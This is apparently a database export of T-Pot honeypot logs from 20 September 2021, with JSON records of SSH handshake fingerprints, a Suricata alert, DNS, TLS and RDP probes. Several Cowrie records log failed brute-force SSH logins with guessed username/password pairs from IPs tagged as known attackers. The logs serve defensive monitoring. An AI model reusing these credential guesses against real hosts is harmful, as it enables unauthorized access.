"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48240, "timestamp": "2021-09-20T11:29:33.854463", "@timestamp": "2021-09-20T11:29:33.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29763	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:29:36.501038+03	2021-09-20 14:30:04.551524+03	{"_id": "EAb3AnwBvYTbRNuE9DgM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:29:36.285904+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 466003693690064, "payload": "AAADzAYUk2ieq9iN2CfLxC4C+RRmVQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57550, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:29:36.501038Z", "@timestamp": "2021-09-20T11:29:36.501Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......h.....'......fU...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29764	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:36.396957+03	2021-09-20 14:30:04.552524+03	{"_id": "Egb3AnwBvYTbRNuE9Tg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57550, "timestamp": "2021-09-20T11:29:36.396957", "@timestamp": "2021-09-20T11:29:36.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29765	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:29:36.395898+03	2021-09-20 14:30:04.554525+03	{"_id": "Ggb3AnwBvYTbRNuE9jhI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "cec82e15ccc3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:29:36.395898Z", "@timestamp": "2021-09-20T11:29:36.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29771	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:29:36.501038+03	2021-09-20 14:30:04.562524+03	{"_id": "Ewb3AnwBvYTbRNuE9Tg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57550, "dest_port": 22, "timestamp": "2021-09-20T11:29:36.501038", "@timestamp": "2021-09-20T11:29:36.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29766	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:29:36.501611+03	2021-09-20 14:30:04.555524+03	{"_id": "Gwb3AnwBvYTbRNuE9jhI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "cec82e15ccc3", "@version": "1", "timestamp": "2021-09-20T11:29:36.501611Z", "@timestamp": "2021-09-20T11:29:36.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29767	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:29:34.030327+03	2021-09-20 14:30:04.557525+03	{"_id": "DAb3AnwBvYTbRNuE7Thk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 48240, "dest_port": 22, "timestamp": "2021-09-20T11:29:34.030327", "@timestamp": "2021-09-20T11:29:34.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29768	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:29:34.845873+03	2021-09-20 14:30:04.558524+03	{"_id": "DQb3AnwBvYTbRNuE7jh2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [stella/stella] failed", "session": "3091b86d9315", "@version": "1", "password": "stella", "username": "stella", "timestamp": "2021-09-20T11:29:34.845873Z", "@timestamp": "2021-09-20T11:29:34.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29769	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:29:36.023859+03	2021-09-20 14:30:04.560523+03	{"_id": "Dwb3AnwBvYTbRNuE8jhf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3091b86d9315", "@version": "1", "duration": 2.346883535385132, "timestamp": "2021-09-20T11:29:36.023859Z", "@timestamp": "2021-09-20T11:29:36.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29770	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:29:36.500927+03	2021-09-20 14:30:04.561523+03	{"_id": "EQb3AnwBvYTbRNuE9DgM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 466003693690064, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57550, "dest_port": 22, "timestamp": "2021-09-20T11:29:36.500927Z", "@timestamp": "2021-09-20T11:29:36.500Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29772	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:29:36.393012+03	2021-09-20 14:30:04.563524+03	{"_id": "GQb3AnwBvYTbRNuE9jhI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:57550 (192.168.176.2:22) [session: cec82e15ccc3]", "session": "cec82e15ccc3", "@version": "1", "protocol": "ssh", "src_port": 57550, "dest_port": 22, "timestamp": "2021-09-20T11:29:36.393012Z", "@timestamp": "2021-09-20T11:29:36.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29773	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:29:37.017598+03	2021-09-20 14:30:04.564524+03	{"_id": "HAb3AnwBvYTbRNuE9jhI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [admin/123QWEasd] failed", "session": "cec82e15ccc3", "@version": "1", "password": "123QWEasd", "username": "admin", "timestamp": "2021-09-20T11:29:37.017598Z", "@timestamp": "2021-09-20T11:29:37.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29774	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:29:25.909604+03	2021-09-20 14:30:04.566525+03	{"_id": "8Qb3AnwBvYTbRNuEzDf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31998, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 881, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 112749075356180, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51420, "timestamp": "2021-09-20T11:29:25.909604Z", "@timestamp": "2021-09-20T11:29:25.909Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29775	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:25.96154+03	2021-09-20 14:30:04.567524+03	{"_id": "8gb3AnwBvYTbRNuEzjcg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35272, "dest_port": 443, "timestamp": "2021-09-20T11:29:25.961540", "@timestamp": "2021-09-20T11:29:25.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29776	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:29:27.763178+03	2021-09-20 14:30:04.568523+03	{"_id": "9Ab3AnwBvYTbRNuE0jcJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 60150, "dest_port": 3389, "timestamp": "2021-09-20T11:29:27.763178", "@timestamp": "2021-09-20T11:29:27.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
